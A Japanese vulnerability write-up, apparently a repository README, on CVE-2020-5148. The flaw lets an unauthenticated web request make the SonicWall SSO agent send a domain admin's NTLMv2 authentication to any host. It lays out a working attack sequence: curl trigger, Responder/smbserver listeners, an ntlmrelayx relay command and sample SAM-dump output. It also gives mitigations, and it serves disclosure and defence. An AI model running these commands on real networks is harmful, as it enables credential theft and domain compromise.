
CVE-2020-5148 - SonicWall UTM SSOエージェントにおける強制認証。このエージェントはDomain Adminとして未検証のワークステーションをプローブするため、1つの送信Webリクエストで権限付きNTLMv2ハッシュが取得されます。アドバイザリSNWLID-2021-0003。
SonicWall UTM SSO エージェントにおける強制認証 (Forced Authentication)
SonicWall SSO エージェントは、NetAPI(デフォルト)または WMI でワークステーションをプローブすることにより、特定の IP アドレスの背後にいるユーザーを識別します。NTLM 認証を開始する前にワークステーションを検証せず、セッションの存続中は同じアドレスへのポーリングを継続します。
SSO エージェントサービスは、プローブするすべてのワークステーションとサーバーに対する管理者権限を必要とするため、実際にはドメイン管理者として展開されます。したがって、UTM アプライアンスに Web トラフィックをルーティングできる認証されていない任意のユーザーは、ドメイン管理者アカウントを任意のホストに対して認証させ、その認証をキャプチャまたはリレーすることができます。
CVE-2020-5148 として公開され、ベンダー勧告は SNWLID-2021-0003 です。
Show Up Show Out Security の Sedric Louissaint によって発見および報告されました。
| CVE | CVE-2020-5148 |
| 製品 | SonicWall UTM アプライアンスおよび SSO エージェント / Directory Services Connector |
| 影響を受けるバージョン | SSO エージェント 4.1.10.0、Directory Services Connector 4.1.17 以前 |
| 修正版 | NVD は修正を Directory Services Connector 4.1.19 に記録(下記の注を参照) |
| 弱点 | CWE-287: 不適切な認証 |
| CVSS 3.1 (NVD) | 8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS(研究者) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 公開日 | 2021-03-05 |
| テスト環境 | Microsoft Windows Server 2012 R2 Standard |
| 必要な認証 | 不要 |
| ベンダー勧告 | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
NVD の説明:
SonicWall SSO エージェントのデフォルト構成は NetAPI を使用してネットワーク内の関連 IP をプローブします。このクライアントプロービング方法により、攻撃者がパスワードハッシュをキャプチャする可能性があります。

注釈は、ベンダーの図では省略されている部分を示しています:
SSO エージェントサービスは、照会を実行するために、関連するすべてのワークステーションとサーバーに対する管理者権限を必要とします。事実上すべての展開において、これはサービスアカウントがドメイン管理者であることを意味します。
したがって、検証されていないホストに渡される資格情報は、ディレクトリ内で最も特権の高いアカウントです。

エクスプロイトコードはありません。アプライアンスが処理するセグメントからの任意の送信 Web リクエストで十分です:
curl sonicwall.com

URL は無関係で、リクエストが成功する必要もありません。アプライアンスは認識されていない IP からのトラフィックを監視し、SSO エージェントにそのユーザーの特定を要求し、エージェントはその IP に対して認証を行います。
Responder または smbserver.py を待ち受け状態にしておくと、エージェントの NTLMv2 認証が要求なしで届き、ポーリング動作により届き続けます:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

クラッキングは任意です。SMB 署名が強制されていない場合、認証を別のホストにライブでリレーでき、そのホストは接続を、見かけ上の特権アカウントとして扱います:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

この認証は、認証されていない Web リクエストによってトリガーされ、完全に別のマシンで消費されます。これが、勧告で説明されている完全な ACL バイパスです。
自分が所有する、またはテストを許可されたラボで、SSO 用に構成された UTM アプライアンスと、デフォルトの NetAPI クライアントプロービング方式を使用する SSO エージェントを使用します:
sudo responder -I <interface>
# or
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
完全なコマンドシーケンスは poc/repro.sh にあります。
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
キャプチャ内のユーザー名、ハッシュ、内部アドレスは、編集済みであるか、元のラボのものです。
administrator が SSO エージェントサービス、DC、Exchange サーバー、ターミナルサーバーを介してログインすることを許可しないでください。アカウントを特権のまま維持する必要がある場合は、オフラインでのクラッキングが現実的でない長さのパスワード(20 文字以上、再利用しない)を使用してください。| 日付 | イベント |
|---|---|
| 2020 | SonicWall に発見・報告 |
| 2021-03-05 | CVE-2020-5148 公開、勧告 SNWLID-2021-0003 |
ベンダー開示後、防御および教育目的で公開されています。ここにエクスプロイトコードがないのは、それが不要だからであり、それがこの発見の要点です。所有していないネットワーク、または書面によるテストの許可がないネットワークに対して、これらのコマンドを実行しないでください。